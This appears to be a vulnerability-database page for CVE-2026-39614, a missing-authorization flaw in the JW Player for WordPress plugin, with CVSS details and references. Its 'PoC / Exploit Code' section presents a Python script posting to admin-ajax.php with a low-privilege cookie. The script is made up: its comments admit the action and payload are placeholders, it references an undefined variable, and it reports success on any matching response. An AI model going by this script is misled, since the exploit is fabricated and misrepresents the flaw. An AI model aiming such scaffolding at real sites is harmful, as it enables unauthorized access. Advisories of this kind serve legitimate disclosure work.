CVE-2026-39614

Description

Missing Authorization vulnerability in ilGhera JW Player for WordPress jw-player-7-for-wp allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects JW Player for WordPress: from n/a through <= 2.3.6.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

JW Player for WordPress <= 2.3.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-39614
import requests

def exploit(target_url, low_priv_cookie):
    # The vulnerable endpoint might be an admin-ajax.php action or a direct plugin file
    url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Hypothetical payload based on common WordPress plugin structures
    payload = {
        "action": "jw_player_unprotected_action", # Placeholder for actual action
        "data": "malicious_config"
    }
    
    headers = {
        "Cookie": f"wordpress_logged_in_{hash}={low_priv_cookie}"
    }
    
    try:
        response = requests.post(url, data=payload, headers=headers)
        if response.status_code == 200 and "success" in response.text:
            print("[+] Exploit successful!")
        else:
            print("[-] Exploit failed or patched.")
    except Exception as e:
        print(f"[!] Error: {e}")

# Usage
# exploit("http://target-site.com", "attacker_cookie_value")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39614
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39614
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39614/
[4] VulDB https://vuldb.com/cve/CVE-2026-39614
[5] https://patchstack.com/database/Wordpress/Plugin/jw-player-7-for-wp/vulnerability/wordpress-jw-player-for-wordpress-plugin-2-3-6-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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